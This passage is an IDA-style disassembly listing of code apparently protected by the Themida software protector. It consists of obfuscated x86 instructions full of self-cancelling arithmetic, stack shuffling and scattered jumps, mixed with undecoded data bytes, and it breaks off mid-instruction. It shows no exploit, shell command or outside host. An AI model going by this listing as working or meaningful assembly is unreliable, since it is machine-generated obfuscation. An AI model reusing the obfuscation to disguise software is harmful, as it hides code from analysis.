dd 0C280CFF2h, 0D290E91Ah, 0B951FFFFh, 64D56E3Fh, 0E959CF29h dd 0FFFF05E5h ; --------------------------------------------------------------------------- loc_563E6C: ; CODE XREF: Themida_:005668FDj push 3D05h jmp loc_558FA3 ; --------------------------------------------------------------------------- dw 0C483h dd 0D1E95504h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563E7F: ; CODE XREF: Themida_:00559F1Fj add esp, 4 add ebp, 3E635751h sub ebp, edi push edx mov edx, 3E635751h sub ebp, edx pop edx push ebx mov ebx, 71126209h dec ebx jmp loc_5612E1 ; --------------------------------------------------------------------------- loc_563EA2: ; CODE XREF: Themida_:00556CFFj sub ebp, 4 jmp loc_564D7E ; --------------------------------------------------------------------------- dw 0C781h dd 4, 0FF230BE9h db 0FFh ; --------------------------------------------------------------------------- loc_563EB5: ; CODE XREF: Themida_:0056875Ej and esi, 422008D3h add esi, 35467C55h jmp loc_5591A7 ; --------------------------------------------------------------------------- loc_563EC6: ; CODE XREF: Themida_:0055C2B8j mov ebx, 33240F3h add ebx, 33097724h shr ebx, 8 shl ebx, 4 add ebx, 0FC9C4484h add edx, 5BAE11C6h add edx, ebx sub edx, 5BAE11C6h pop ebx push ebp push 4 pop ebp jmp loc_568103 ; --------------------------------------------------------------------------- dd 5C243433h, 8B24048Fh, 4892424h, 2434FF24h, 0FF7299E9h db 0FFh ; --------------------------------------------------------------------------- loc_563F0D: ; CODE XREF: Themida_:0055C2D9j push ebx mov ebx, 744C6EC7h mov ecx, 0D8DBB89Eh add ecx, ebx pop ebx add ecx, 0B2D7D89Fh add esi, ecx push dword ptr [esp] pop ecx add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push edi push esp pop edi jmp loc_55F22A ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 0D36E957h, 0EC83FFFFh, 240C8904h, 64409068h, 240C8B05h dd 0E9E18951h, 0FFFF769Fh, 52243C8Bh, 0FFA4EAE9h, 4C083FFh dd 5C240487h, 83241C8Bh, 2C3304C4h, 6EA3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563F7E: ; CODE XREF: Themida_:005597FDj pop eax add esp, 4 sub edx, eax mov eax, [esp] add esp, 4 jmp loc_5530A5 ; --------------------------------------------------------------------------- db 0FFh dd 2C813C77h, 0CE268424h, 6527E908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563F9E: ; CODE XREF: Themida_:0055739Ej sub esp, 4 mov [esp], edx push ecx mov ecx, 62550775h push edi mov edi, 3A0A74D3h push eax jmp loc_56269D ; --------------------------------------------------------------------------- loc_563FB6: ; CODE XREF: Themida_:00563677j mov esi, [esp] add esp, 4 add ecx, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp] jmp loc_554D68 ; --------------------------------------------------------------------------- dw 815Ch dd 4C4h, 9706800h, 34890000h, 1BB16824h, 24890000h, 4BB5324h dd 1000000h, 5B04245Ch, 8124348Bh, 4C4h, 6EE95300h db 0F9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564007: ; CODE XREF: Themida_:00563E06j push ecx mov ecx, 89C2C96h add eax, ecx pop ecx mov ebx, [esp] sub esp, 4 mov [esp], edi push esp pop edi push esi jmp loc_5645F7 ; --------------------------------------------------------------------------- db 0BAh, 2, 0BFh dd 0EE81E531h, 27DA235Ah, 3E0AEE81h, 0D62942E9h, 3E0AC681h dd 0C68142E9h, 27DA235Ah, 5A2434FFh, 81E28952h, 4C2h, 4C28100h dd 87000000h, 515C2414h, 1D7C84B9h, 0EB24E92Dh, 0FF66FFFFh dd 0F03BE932h, 0C681FFFEh, 801BE628h, 0FF28F7E9h, 0E9D6B1FFh dd 0FFFFA1C2h, 13DCE281h, 0F7924350h, 0A8E992D8h db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56408B: ; CODE XREF: Themida_:00567BADj sub ch, 0FDh shl ch, 8 xor ch, 8Dh add dh, ch pop ecx dec dh push ecx mov cl, 5Bh not cl or cl, 3 shl cl, 6 shl cl, 1 dec cl xor cl, 86h xor dh, cl pop ecx jmp loc_561BBA ; --------------------------------------------------------------------------- db 1 dd 0C335AD1h, 240C3124h, 0FF0E73E9h, 1A6CBBFFh, 0EB833370h dd 0C9EB8101h, 0E9108E50h, 0FFFF7C1Fh, 68682C59h, 0D4Dh dd 89243C89h, 4C781E7h, 83000000h, 6DE902EFh db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5640EF: ; CODE XREF: Themida_:0055B4A8j add eax, 4F482F44h add ebx, eax mov eax, [esp] add esp, 4 add ebx, 0EAC1F192h add ecx, ebx pop ebx jmp loc_55E318 ; --------------------------------------------------------------------------- db 0B2h, 0F8h, 80h dd 0D3285CEBh, 665CC380h, 0B6C3805Ah, 800EEB80h, 0D6E9D3EBh dd 3000000Ch, 805B66D8h, 0C3289BEBh, 7888E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564136: ; CODE XREF: Themida_:005552C4j push 3FE10EAAh pop ebp push 6E13h jmp loc_5555C7 ; --------------------------------------------------------------------------- loc_564146: ; CODE XREF: Themida_:00556C30j add ecx, 5BB253B1h pop eax add ecx, 4 jmp loc_55B282 ; --------------------------------------------------------------------------- db 81h, 0C1h, 1Eh dd 179F04Dh, 0ECD1E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564162: ; CODE XREF: Themida_:0055BB88j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 77ECh mov [esp], edx mov edx, esp push ebp jmp loc_55D32D ; --------------------------------------------------------------------------- db 0C0h dd 0E2C004E2h, 5EAC007h, 289CC280h, 0CA345AD0h, 0E958C508h dd 0FFFF3112h ; --------------------------------------------------------------------------- loc_564198: ; CODE XREF: Themida_:00556AADj shr eax, 4 add eax, 7362DB58h sub ebx, 25A72FCBh sub ebx, eax add ebx, 25A72FCBh pop eax sub esp, 4 mov [esp], ebp sub esp, 4 jmp loc_564815 ; --------------------------------------------------------------------------- loc_5641C3: ; CODE XREF: Themida_:0055B351j pop ebx inc ebx add ebx, 0C29DF3C5h jmp loc_55D598 ; --------------------------------------------------------------------------- dd 0D3F280h, 24148BD0h, 3EE9h, 555F5900h, 1232E9h, 24248B00h dd 9C240430h, 0FEEEB4E9h, 5BB951FFh, 31147433h, 0F88959CFh dd 7378355Fh, 0BCE9422Eh, 8100001Bh, 875F5BE2h, 35C2815Ah dd 31AB538Ah, 48E95AD3h, 83FFFFAFh, 1F0404C4h, 4EC81h dd 0C890000h, 0E97CB124h, 0FFFFD5A6h, 0E94077FFh, 0FFFEEE6Dh dd 2EFFBD55h, 0EA890C96h, 5AD7015Dh, 0FFE13AE9h, 2DD001FFh dd 64D345C8h, 615FFB05h, 38B42D0Ch, 148B7C87h, 4C48124h dd 68000000h, 458Fh, 89240C89h, 4BE56E1h, 1000000h, 0EC815EF1h dd 4, 0FF3395E9h, 0E9D931FFh, 0FFFF0267h, 1C8BD909h, 4C48124h dd 68000000h, 6DA8h, 68241C89h, 1EB91302h, 0FF48A1E9h dd 55B050FFh, 0C8FEC0FEh, 65F268h, 241C8900h, 0CBE90DB7h dd 1FFFEEFh, 8104246Ch, 8904246Ch, 0E9062A72h, 0FFFF0FC1h dd 51242C8Bh, 0FFECC3E9h, 0E9F028FFh, 0FFFFB3D0h, 5E9DE00h dd 0BE000018h, 2, 86141C05h, 2F83056Ah, 1FE92342h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5642F7: ; CODE XREF: Themida_:00567C8Aj sub ebx, 401E49B9h pop ebp sub ebx, 25067ED9h add ebx, eax add ebx, 25067ED9h jmp loc_559BD3 ; --------------------------------------------------------------------------- loc_564311: ; CODE XREF: Themida_:005534CDj push edx mov edx, 5EF606A3h push edx not dword ptr [esp] pop edx shr edx, 4 inc edx jmp loc_55DCDB ; --------------------------------------------------------------------------- db 81h, 0C3h, 1 dd 50000000h, 0FF63B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_564331: ; CODE XREF: Themida_:00561B84j shl edi, 5 push ecx mov ecx, 34297172h sub edi, ecx pop ecx sub ecx, edi mov edi, [esp] add esp, 4 sub esi, 5EE831CDh add esi, ecx push ebp mov ebp, 5EE831CDh add esi, ebp mov ebp, [esp] jmp loc_5634CF ; --------------------------------------------------------------------------- dd 0C1FFEA83h, 8E907EAh db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56436B: ; CODE XREF: Themida_:00555288j pop esp jmp loc_553489 ; --------------------------------------------------------------------------- loc_564371: ; CODE XREF: Themida_:00565E55j and ch, 49h and ch, 0DFh push edx push ebx mov bl, 81h mov dh, bl pop ebx push edx jmp loc_55A11C ; --------------------------------------------------------------------------- loc_564384: ; CODE XREF: Themida_:005576AAj xor esi, [esp] xor [esp], esi jmp loc_5622B6 ; --------------------------------------------------------------------------- db 81h dd 0AC65FEEAh, 57EA011Dh, 0AC65FEBFh, 5FFA011Dh, 501A685Dh dd 14890000h, 2474FF24h, 0FD32E904h, 0B951FFFEh, 1F272A6Eh dd 62C4E181h, 0F1810FD5h, 164045D0h, 537DBE56h, 0C6816B4Ch dd 6F0B6864h, 22E95346h db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5643D7: ; CODE XREF: Themida_:00565E76j mov [esp], edi mov edi, 0 sub edi, eax push edi push dword ptr [esp] pop eax add esp, 4 jmp loc_56850E ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 3304C483h, 14312414h, 7ACE924h, 348BFFFFh, 4C48124h dd 0E9000000h, 0FFFFD2CDh ; --------------------------------------------------------------------------- loc_564410: ; CODE XREF: Themida_:0055A698j mov edx, esp jmp loc_560FA8 ; --------------------------------------------------------------------------- db 64h dd 86E90288h db 0ECh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56441F: ; CODE XREF: Themida_:0056037Dj push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push ebp push eax mov eax, 7044BEEh shl eax, 2 add eax, 0FFFFFFFFh sub eax, 1C102FB7h mov ebp, eax push dword ptr [esp] pop eax jmp loc_5653E6 ; --------------------------------------------------------------------------- db 54h, 5Ah, 0E9h dd 0FFFF04ACh, 8B5AF188h, 91E92404h db 0F1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56445B: ; CODE XREF: Themida_:00568BDAj add esp, 4 jmp loc_55E176 ; --------------------------------------------------------------------------- db 0FFh dd 36E92434h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56446B: ; CODE XREF: Themida_:0055A84Fj push ebx mov bl, 0BDh jmp loc_55A8C0 ; --------------------------------------------------------------------------- db 51h dd 0FFB57AE9h, 0C2815DFFh, 4, 5C241487h, 0FFAE96E9h, 0FF575EFFh dd 8B042474h, 0C483243Ch, 24048F04h, 0D224248Bh, 0E99C2404h dd 0A00h, 42474FFh, 24048F5Bh, 4C5815Ch, 81000000h, 2C5h dd 242C3300h, 33242C31h, 248B242Ch, 0C83B6624h, 167AE99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5644CE: ; CODE XREF: Themida_:00562A66j push esp jmp loc_560CF1 ; --------------------------------------------------------------------------- dd 4C4815Ah, 68000000h, 65EEh, 54241489h, 3A3EE9h, 24248B00h dd 240C8B66h, 8B81E955h, 0C381FFFFh, 4, 3304EB83h, 0C1E9241Ch dd 5C00000Ah, 0F6A4E955h, 28BEFFFFh, 1D296E6h, 0C6815EF2h dd 12C133B7h, 0EE81D601h, 12C133B7h, 8124148Bh, 4C4h, 29F3E900h dd 0C4810000h, 4, 7F966856h, 24890000h, 2B19E924h, 2BAFFFFh dd 89E73710h, 24148BD5h, 0E904C483h, 7C6h, 8102E2C1h, 0B0474EEAh dd 5AD389B6h, 0FF0CE1E9h, 0E95250FFh, 0FFFFAB58h, 68242C89h dd 2, 0E92434FFh, 0FFFF9A23h, 4C481h, 0F1010000h, 6760C181h dd 348B4699h, 0E4D5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564596: ; CODE XREF: Themida_:00567CFCj push 7A7Fh mov [esp], edi mov edi, esp sub esp, 4 mov [esp], esi jmp loc_55F424 ; --------------------------------------------------------------------------- db 8Fh dd 0EAF3E902h, 0F581FFFEh, 34684D65h, 710ED81h, 88E93373h dd 81000046h, 9A20D7C3h, 0B62AE97Bh, 0C481FFFFh, 4, 83241C8Bh dd 0C38104C4h, 4, 0FFC677E9h, 48B66FFh, 65FE6824h, 0C890000h dd 39E95424h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5645F7: ; CODE XREF: Themida_:0056401Cj mov esi, 90A421Ch shr esi, 2 jmp loc_55E943 ; --------------------------------------------------------------------------- loc_564604: ; CODE XREF: Themida_:00553644j mov eax, 2 add ebx, eax pop eax push ebx push dword ptr [esp+4] jmp loc_5533CB ; --------------------------------------------------------------------------- loc_564616: ; CODE XREF: Themida_:00555325j sub esp, 4 mov [esp], esi jmp loc_55B185 ; --------------------------------------------------------------------------- loc_564624: ; CODE XREF: Themida_:0055770Fj add ebp, 4 jmp loc_5629F5 ; --------------------------------------------------------------------------- db 5Eh dd 0FFF4ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_564635: ; CODE XREF: Themida_:00561999j add eax, 4 xchg eax, [esp] pop esp push 1413h jmp loc_55992D ; --------------------------------------------------------------------------- aSh db 'ShÎ/',0 align 2 dw 7FE9h dd 0C1FFFF8Ah, 63E903E3h, 83000014h, 815A04C4h, 37091AC1h dd 98C18170h, 29757025h, 0A3BE9F1h, 0B652FFFFh, 5AF52879h dd 500FC580h, 0E388EC88h, 11A2E958h, 815D0000h, 0DD2D11C1h dd 0A8C18147h, 1773540h, 0A8E981D1h, 0E9773540h, 0FFFFC83Fh dd 0E904B652h, 0FFFF43E7h, 3004C483h, 24148BD0h, 4249E9h dd 2434FF00h, 8B2434FFh, 0DE9240Ch, 87FFFFD3h, 515C241Ch dd 0C5800AB5h, 0C8C58032h, 0C8BEA30h, 0FFCEE924h, 8145FFFFh dd 708CCEC5h, 5DEB0164h, 0FF4D54E9h, 1EE956FFh, 5FFFFF05h dd 685AD601h, 42E4h, 0BD242C89h, 5F7D1A05h, 0FFFFC581h dd 0F581FFFFh, 272845FBh, 9EF5814Dh, 293ECC38h, 0EBE5E9E9h dd 0EC83FFFFh, 241C8904h, 77BC68h, 240C8900h, 0E991B753h dd 0FFFF7E6Fh ; --------------------------------------------------------------------------- loc_564730: ; CODE XREF: Themida_:00559AD6j mov [esp], eax mov eax, 304B4598h push eax not dword ptr [esp] pop eax sub eax, 0A1EB7EBDh jmp loc_5534C7 ; --------------------------------------------------------------------------- loc_564747: ; CODE XREF: Themida_:0055ED43j pop ebp mov ebp, [esp] add esp, 4 xor ebx, 1B7D3459h push eax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 6CAB688Fh shl ebx, 4 sub ebx, 530A70E9h shl ebx, 8 and ebx, 14DB335Ch add ebx, 74182973h jmp loc_55D742 ; --------------------------------------------------------------------------- dd 8B2434FFh, 5457241Ch, 4C7815Fh, 83000000h, 0A8E904C7h db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5647A3: ; CODE XREF: Themida_:0055AB53j xor ebp, ebx push edi jmp loc_554A3F ; --------------------------------------------------------------------------- db 68h dd 1523h, 0BD242C89h, 2, 28E9E901h, 81000027h, 4C3h, 4C38300h dd 5C241C87h, 4BE56h, 0F3010000h, 0FF9B26E9h db 0FFh ; --------------------------------------------------------------------------- loc_5647D9: ; CODE XREF: Themida_:005553CAj push edx mov edx, 9C11D44Ah sub esi, edx jmp loc_562FB4 ; --------------------------------------------------------------------------- dw 0E808h dd 24D0F659h, 0B353515Ch, 2726E9D0h, 8B66FFFFh, 54512404h dd 75DC6859h, 34890000h, 3795E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56480A: ; CODE XREF: Themida_:00554598j add ecx, 4 jmp loc_554416 ; --------------------------------------------------------------------------- loc_564815: ; CODE XREF: Themida_:005641BEj mov [esp], ecx mov ecx, 7CB92F20h mov ebp, 0D6EB9C8Ah sub ebp, ecx push dword ptr [esp] pop ecx push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push edi mov edi, 4F9E018Ch jmp loc_56863B ; --------------------------------------------------------------------------- db 0B5h, 0D6h, 28h dd 0C8B66E8h, 2BF0E924h, 0DF68FFFFh, 0E900002Bh, 0FFFFE57Ah dd 44CA68h, 0EBF4E900h, 0F101FFFFh, 76CAE981h, 835E26C0h dd 0FBE904C1h, 30FFFFBFh, 0EC8059CCh, 0AFB75334h, 0C7FEC7FEh dd 0E780D7F6h, 0FCB3E945h, 0E589FFFEh, 4C581h, 6FE90000h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56489B: ; CODE XREF: Themida_:00564E3Cj mov ebp, esp add ebp, 4 push edi mov edi, 75392C83h shl edi, 3 push ecx mov ecx, 6F500F5Eh or edi, ecx pop ecx neg edi not edi xor edi, 0EFD96F59h add ebp, edi pop edi xchg ebp, [esp] pop esp pop edi not edi push 317Eh jmp loc_555C1A ; --------------------------------------------------------------------------- db 5Eh dd 56E68956h, 0C681E689h, 4, 4B850h, 0C6290000h, 0E924048Bh dd 2C63h ; --------------------------------------------------------------------------- loc_5648F0: ; CODE XREF: Themida_:00561B0Aj not eax jmp loc_55ECE0 ; --------------------------------------------------------------------------- db '^h*',8,0 dd 2397E900h, 0C6810000h, 659F1717h, 0C15EF189h, 0E98106E1h dd 23051D36h, 9DC98141h, 0E931C547h, 0FFFF9EF4h, 2ADABB53h dd 0BD557A58h, 1FFB2EF4h, 0CCE9E829h, 53FFFF79h, 13685B54h dd 89000012h, 0C3BF243Ch, 8157E874h, 178B41C7h, 651DE9A8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56494E: ; CODE XREF: Themida_:00567F62j push esi mov esi, edx mov ecx, esi pop esi jmp loc_56711C ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 8AE95724h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564963: ; CODE XREF: Themida_:0055D6BEj xor eax, 363CF278h jmp loc_568AC7 ; --------------------------------------------------------------------------- loc_56496D: ; CODE XREF: Themida_:00557CE5j mov [esp], eax push esp mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edi push eax push edi push 2B45571Ch jmp loc_55B332 ; --------------------------------------------------------------------------- db 81h dd 0F97A68C7h, 5FF90163h, 0D0E9CD01h, 29FFFFE2h, 0F89BE9EAh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5649A6: ; CODE XREF: Themida_:00557B73j shr esi, 6 xor esi, 86676059h sub edx, esi pop esi sub ecx, 64920D53h sub ecx, edx add ecx, 64920D53h jmp loc_55B30E ; --------------------------------------------------------------------------- loc_5649C5: ; CODE XREF: Themida_:00562B24j sub edx, 31DA1558h add edx, ebx jmp loc_55676C ; --------------------------------------------------------------------------- dw 815Bh dd 0C97AEAE9h, 81F90120h, 0C97AEAC1h, 6BC18120h, 8167B15Ch dd 9A2BAFC1h, 0BEE9575Ch, 0F7FFFF9Fh, 1992E9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5649FA: ; CODE XREF: Themida_:00565C16j xchg ebx, [esp] pop esp jmp loc_55F769 ; --------------------------------------------------------------------------- db 81h dd 521E51EDh, 5DE82969h, 0E9240487h, 0FFFFA024h, 0BE243489h dd 3106472Fh, 0EC81DEF7h, 4, 0BA241489h, 382A48B0h, 0FFF92FE9h dd 48B66FFh, 3FF6824h, 0A9E90000h, 57FFFF28h, 0EC81E789h dd 4, 0E9243489h, 0FFFF840Eh, 96243481h, 59421E60h, 6096F181h dd 348B421Eh, 0E2895224h, 4C281h, 0C2830000h, 24148704h dd 0E924248Bh, 0FFFFA98Dh ; --------------------------------------------------------------------------- loc_564A78: ; CODE XREF: Themida_:00553E7Cj sub esp, 4 mov [esp], edi jmp loc_5618FA ; --------------------------------------------------------------------------- loc_564A83: ; CODE XREF: Themida_:0055DE1Ej xchg ebx, [esp] pop esp sub edx, 620D2C1Ah jmp loc_562B10 ; --------------------------------------------------------------------------- dw 166h dd 0EF8166EFh, 5D66046Eh, 51F72966h, 5BB1B966h, 66D9F766h dd 0CA3BC181h, 8BCF2966h, 0C483240Ch, 665E6604h, 0E93B8A2Dh dd 0FFFF560Dh ; --------------------------------------------------------------------------- loc_564AC0: ; CODE XREF: Themida_:0056366Dj pop esi xor esi, 7127EEE9h sub edx, esi pop esi mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_55BF74 ; --------------------------------------------------------------------------- db 89h dd 0A0E92414h, 8BFFFFF0h, 89512404h, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 0D2EB805Ch, 70E9D300h, 7, 0E95A66D0h dd 0FFFF3FCBh, 38FBED81h, 0ED814852h, 5F31692Ah, 0C581F501h dd 5F31692Ah, 0FFD676E9h, 24048BFFh, 0FF6142E9h, 242C8BFFh dd 5204C483h, 0EC815A54h, 4, 57240489h, 468h, 2DE6E900h dd 34FFFFFFh, 2DF8E924h, 5666FFFFh, 14AFBE66h, 0E9F52966h dd 0FFFF908Ah, 3FC78159h, 1739C16h, 3FEF81D7h, 8B739C16h dd 89512414h, 4C181E1h, 81000000h, 4C1h, 240C8700h, 3E58E95Ch dd 1C890000h, 1DE95624h, 89FFFFA9h, 28E92414h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564BAF: ; CODE XREF: Themida_:00553D0Dj sub esp, 4 mov [esp], eax jmp loc_561F3D ; --------------------------------------------------------------------------- dw 3C87h dd 0F44E924h, 0B252FFFFh, 18F2803Ah, 0B0E9D2F6h, 0FFFFFFF5h dd 34FF2434h, 0C4815B24h, 4, 4C481h, 0C4810000h, 4, 0AEDAE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564BEE: ; CODE XREF: Themida_:005600F4j add edx, 1AC87D0Ch push ebp mov ebp, 3FAD5A3Eh jmp loc_55DBEC ; --------------------------------------------------------------------------- db 66h dd 66240C89h, 66C8B60Fh, 96E99C51h, 0BEFFFEE4h, 188B3021h dd 0FF060EE9h db 0FFh ; --------------------------------------------------------------------------- loc_564C19: ; CODE XREF: Themida_:0055BDFFj sub ecx, ebp jmp loc_5563F8 ; --------------------------------------------------------------------------- dd 0F6006E25h, 50EA352Dh, 0E057617h, 353C7777h, 9B08C7F6h dd 8358C201h, 348904ECh, 0F064E924h, 8859FFFEh, 3BE95BF9h dd 5AFFFF17h, 34FFC300h, 24048B24h, 4C481h, 0C4810000h dd 4, 0FF0A97E9h db 0FFh ; --------------------------------------------------------------------------- loc_564C65: ; CODE XREF: Themida_:0055EC3Dj mov edi, 3AAA168Dh push ecx mov ecx, 4E3E324Ch jmp loc_562DDE ; --------------------------------------------------------------------------- db 66h, 87h, 14h dd 66526624h, 0E9630768h, 0FFFF9FBEh, 592434FFh, 1246E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564C8E: ; CODE XREF: Themida_:0055FF61j xor eax, [esp] jmp loc_5680D8 ; --------------------------------------------------------------------------- loc_564C96: ; CODE XREF: Themida_:0055BE9Aj add ebp, 4 jmp loc_565792 ; --------------------------------------------------------------------------- loc_564CA1: ; CODE XREF: Themida_:00566C05j push ebx mov ebx, 1C4A4D6Fh sub ebx, 688743E2h sub edx, 159E0847h add edx, ebx add edx, 159E0847h pop ebx add eax, edx pop edx jmp loc_559BA2 ; --------------------------------------------------------------------------- dd 8B240433h, 4212424h, 0D2E99C24h, 0BEFFFEE3h, 4565A81Ah dd 0FEE63FE9h, 4EF81FFh, 0E9000000h, 0FFFEFFF0h ; --------------------------------------------------------------------------- loc_564CE8: ; CODE XREF: Themida_:005575F6j xor [esp], esi jmp loc_565FA4 ; --------------------------------------------------------------------------- loc_564CF0: ; CODE XREF: Themida_:005573E5j mov edx, 3780A64h add edx, 10A359A0h jmp loc_55BE8D ; --------------------------------------------------------------------------- dd 148BD589h, 4C48124h, 50000000h, 902065B8h, 93EE816Ah dd 295C8F30h, 2648E9C6h, 0EF29FFFFh, 99BF575Dh, 817B5B52h dd 83DC0F7h, 8BFB0135h, 0C483243Ch, 81FB0104h, 536F59EBh dd 243C8B4Eh, 53585450h, 0D774FDBBh, 0F9F3812Dh, 2D2DD774h dd 2E533346h, 4605D801h, 5B2E5333h, 405h, 24048700h, 0BEB815Ch dd 0E906AE5Dh, 0FFFEE404h, 42474FFh, 24048F59h, 2A40E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564D7E: ; CODE XREF: Themida_:00563EA5j xchg ebp, [esp] pop esp mov [esp], ebx push edx mov edx, 38F60007h shr edx, 5 or edx, 6B1470AAh jmp loc_557A21 ; --------------------------------------------------------------------------- db 1, 0FEh, 5Fh dd 0FF897DE9h, 52C981FFh, 5761FC08h, 44037BFh, 5DCF8170h dd 8170D74Bh, 0A05D2EE7h, 6DE78172h, 8130673Dh, 0F5155AE7h dd 81D7F705h, 0FE7CDAC7h, 5FF929EDh, 0E9CD89h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564DD7: ; CODE XREF: Themida_:0056768Fj add edi, 0FF90540h sub edi, 3DEF2624h add edi, ebp add edi, 3DEF2624h jmp loc_5599F4 ; --------------------------------------------------------------------------- loc_564DF0: ; CODE XREF: Themida_:0055B0C5j push esp pop edx add edx, 4 jmp loc_55E043 ; --------------------------------------------------------------------------- align 2 dw 80C3h dd 0B551D3C3h, 0E9C5FE79h, 0FFFEE550h, 4C781h, 4AE90000h dd 0BBFFFF98h, 5C81491Ch, 62F9CB81h, 0E3D16030h, 0FFAB57E9h dd 24248BFFh, 0FF31EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_564E31: ; CODE XREF: Themida_:00558EA2j xchg ebx, [esp] pop esp mov [esp], edi mov eax, [esp] push ebp jmp loc_56489B ; --------------------------------------------------------------------------- loc_564E41: ; CODE XREF: Themida_:005578EBj sub ebp, edi jmp loc_55CB04 ; --------------------------------------------------------------------------- loc_564E48: ; CODE XREF: Themida_:0055C1C5j add esi, 4 jmp loc_567334 ; --------------------------------------------------------------------------- db 0BEh dd 0F74FEADCh, 895EF001h, 0EFE958C6h, 8AFFFF19h, 89502424h dd 405E0h, 29E90000h, 81FFFF9Dh, 3F0E7DC2h, 56E28154h dd 8130EA04h, 561DC0F2h, 0F9EA8174h, 29960264h, 0F7015AD6h dd 243C875Eh, 99BAE95Ch, 4B8FFFFh, 0E9000000h, 0FFFFDE67h dd 0FEE1FCE9h db 0FFh ; --------------------------------------------------------------------------- loc_564EA9: ; CODE XREF: Themida_:0055D793j xor [esp], ebp xor ebp, [esp] pop esp jmp loc_55BF7C ; --------------------------------------------------------------------------- loc_564EB5: ; CODE XREF: Themida_:00562EE1j sub edx, ebp pop ebp xor eax, edx push dword ptr [esp] jmp loc_565A56 ; --------------------------------------------------------------------------- loc_564EC2: ; CODE XREF: Themida_:00563023j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_555F8D ; --------------------------------------------------------------------------- loc_564ED5: ; CODE XREF: Themida_:0056307Dj sub ecx, 201178A1h pop edx jmp loc_560FC3 ; --------------------------------------------------------------------------- db 52h, 0E9h, 60h dd 28FFFFA6h, 241C8BF8h, 0E904C483h, 0FFFFB956h, 0C181E189h dd 4, 0FEFF71E9h db 0FFh ; --------------------------------------------------------------------------- loc_564F01: ; CODE XREF: Themida_:0055BE07j mov eax, [esp] push 41CAh jmp loc_562A20 ; --------------------------------------------------------------------------- dw 38BAh dd 5320203Dh, 0D146B968h, 241C8B2Ah, 5204C483h, 0D8D66ABAh dd 5AD33174h, 638E9h, 240C8900h, 8904EC83h, 0E0892404h dd 4B951h, 0C8010000h, 4BF5759h, 29000000h, 15CFE9F8h dd 0C301FFFFh, 8324048Bh, 0EB8104C4h, 138B5F26h, 18F5E9h dd 7EE2B900h, 0BD554044h, 40447EE0h, 815DE929h, 0A453E0C5h dd 81CD2972h, 0A453E0EDh, 2C875972h, 24248B24h, 240C8966h dd 516656B5h, 5D2C49B1h, 5D04C828h, 240C8B66h, 13D1E953h dd 815F0000h, 4ECh, 24048900h, 42474FFh, 0FF7644E9h db 0FFh ; --------------------------------------------------------------------------- loc_564FB1: ; CODE XREF: Themida_:0055F1EBj add esp, 4 pop dword ptr [esp] not ebx xor [esp], ebx xor ebx, [esp] xor [esp], ebx pop eax jmp loc_553578 ; --------------------------------------------------------------------------- dd 33241C31h, 895C241Ch, 2AE92424h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_564FD7: ; CODE XREF: Themida_:00560C86j add ebp, esi pop esi add ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp xchg eax, [esp] jmp loc_563A62 ; --------------------------------------------------------------------------- loc_565002: ; CODE XREF: Themida_:00561665j mov esp, [esp] push dword ptr [esp] jmp loc_55BF86 ; --------------------------------------------------------------------------- db 29h, 3Ch, 24h dd 0EF240481h, 5F7A8112h, 814FDFF7h, 0B55702EFh, 32E78169h dd 81480110h, 458FC9C7h, 8BFD01E6h, 0C483243Ch, 5DE80104h dd 3595E9h, 51D0F700h, 7F7F58B9h, 59C8297Fh, 575568h, 24048900h dd 7B43E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565056: ; CODE XREF: Themida_:00561F4Aj push 0 pop edi sub edi, eax push eax push 